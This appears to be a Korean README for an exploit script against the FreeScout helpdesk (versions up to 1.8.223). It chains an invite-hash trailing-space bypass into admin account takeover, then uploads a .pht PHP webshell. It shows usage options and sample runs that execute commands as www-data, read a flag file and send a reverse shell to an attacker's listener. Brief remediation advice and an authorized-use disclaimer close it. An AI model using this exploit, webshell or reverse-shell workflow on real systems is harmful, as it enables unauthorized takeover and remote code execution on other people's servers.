
FreeScout ≤ 1.8.223(Laravel 기반 헬프데스크)에서 두 가지 결함을 연쇄적으로 이용하는 인증되지 않은 원격 코드 실행(RCE) — 두 결함 모두 1.8.224에서 수정되었습니다:
POST /user-setup/{hash}/{invite_sent_at} 요청은 invite_hash 열만으로 계정을 선택합니다. 활성화된 사용자는 invite_hash = '' 값을 가지며, MySQL/MariaDB에서 VARCHAR 동등 비교는 후행 공백을 무시하므로 hash = %20이 관리자와 일치합니다. invite_sent_at 만료 검사는 사용자 비밀번호를 키로 사용하여 값을 복호화하지만, 복호화 헬퍼는 실패 시 원시 입력을 반환하므로(빈 catch), 평문 현재 유닉스 타임스탬프가 허용됩니다. 그런 다음 이 엔드포인트는 계정의 이메일과 비밀번호를 덮어쓰고 로그인을 수행합니다..pht 업로드. 업로드 차단 목록(php.*|sh|pl|phtml|phar)은 .pht를 포함하지 않으며, Apache mod_php가 이를 PHP로 실행합니다.이를 연쇄적으로 이용하면 인증되지 않은 공격자가 웹 서버 사용자(www-data) 권한으로 코드 실행을 수행할 수 있습니다.
GET /user-setup/%20/<unix_ts>을(를) 사용해 세션 쿠키와 CSRF 토큰을 획득합니다.POST하여 관리자의 이메일/비밀번호를 덮어쓰고 로그인합니다(ATO).POST /uploads/upload로 shell.pht(<?php system($_GET['c']); ?>)를 업로드합니다../exploit.sh -t <target> [options]
-t, --target URL target base URL (e.g. http://10.10.10.10) [required]
-c, --cmd CMD run a single command (default: id)
--lhost IP reverse shell: attacker IP (start nc first)
--lport PORT reverse shell port (default 4444)
--email ADDR email to set on the seized admin (default [email protected])
--password PASS password to set (default Pwned12345)
-h, --help
$ ./exploit.sh -t http://10.10.10.10
[*] fetching setup form (hash=%20, ts=1784500000) ...
[*] seizing admin -> [email protected] / Pwned12345 ...
[+] admin account taken over (you can also log in at http://10.10.10.10/login)
[*] uploading .pht webshell ...
[+] webshell: http://10.10.10.10/storage/uploads/p2Bj81XDu6DbBJ4Sq5mYW05zY.pht
[+] id -> uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ ./exploit.sh -t http://10.10.10.10 -c 'cat /var/www/local.txt'
...
[+] cat /var/www/local.txt -> f1a7c30e9b6d24851e6d24851f1a7c30
# reverse shell (run `nc -lvnp 4444` first)
$ ./exploit.sh -t http://10.10.10.10 --lhost 10.10.14.7 --lport 4444
[+] admin account taken over ...
[+] webshell: http://10.10.10.10/storage/uploads/....pht
[*] sending reverse shell to 10.10.14.7:4444 ...
[+] payload sent — check your listener.
bash, curl, jq1.0.x – 1.8.223에서 동작합니다. 1.8.224+에서 두 버그가 모두 수정되었습니다(302가 실패한 탈취로 바뀝니다)..pht 실행은 서버가 mod_php를 통해 .pht를 처리하는 환경에 따라 달라집니다 — CVE가 대상으로 하는 "표준 Apache + libapache2-mod-php" 환경입니다.system()은 /bin/sh(Debian/Ubuntu의 dash)를 통해 실행되는데, 이는 bash 전용 >& /dev/tcp/... 리다이렉트를 이해하지 못합니다. base64는 또한 모든 따옴표 관련 문제를 피해 갑니다.!이 없습니다 — !는 대화형 bash/zsh에서 히스토리 확장을 유발하여 붙여넣은 명령을 망가뜨립니다.VARCHAR 동등 비교를 절대 사용하지 마세요(후행 공백 충돌). 또한 실패한 복호화를 유효한 값으로 취급하지 마세요 — 빈 토큰이나 잘못된 토큰은 거부하세요.승인된 보안 테스트 및 교육 목적으로만 사용하세요. 소유하지 않았거나 명시적 테스트 허가를 받지 않은 시스템에는 사용하지 마세요. 저자는 오용에 대한 어떠한 책임도 지지 않습니다.